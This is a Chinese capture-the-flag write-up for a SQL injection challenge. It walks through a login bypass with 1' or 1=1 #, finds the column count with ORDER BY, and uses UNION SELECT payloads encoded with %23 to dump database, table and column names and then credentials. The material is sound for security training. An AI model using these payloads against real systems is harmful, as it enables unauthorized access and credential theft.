一、题目简介:
二、通关思路:
1、首先查看页面源代码:
我们发现可以使用工具sqlmap来拿到flag,我们先尝试手动注入。
2、 打开靶机,映入眼帘的是登录界面,首先尝试万能密码能否破解。
username: 1' or 1=1 #
password: 随便写任意值
提交submit,发现可以登录:
并在 Your password 处发现一段乱码,疑似为flag,提交发现错误,这并不是flag,说明flag在别处。
3、通过万能密码已知,注入类型为 字符型,闭合方式为 单引号闭合,尝试查看字段数量。
当 order by 3 时,页面显示如图:
当 order by 4 时,页面显示如图:
Unknown column 4,说明页面报错了,说明字段数为3。
注:这里#使用URL编码格式:% + 十六进制数,目的是防止被过滤,在本题目中若使用 # 或 --+是无法检测出字段数量的,所以在以后的sql注入题目中,最好使用%23。
4、查看回显:
1' union select 1,2,3 %23
5、发现回显位 ,开始注出数据库库名,表名,列明,最终拿到flag。
注出库名:
1' union select 1,2,database() %23
注出表名:
1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) %23
注出列名:
1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') %23
拿到flag:
1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) %23
成功拿到flag,通关。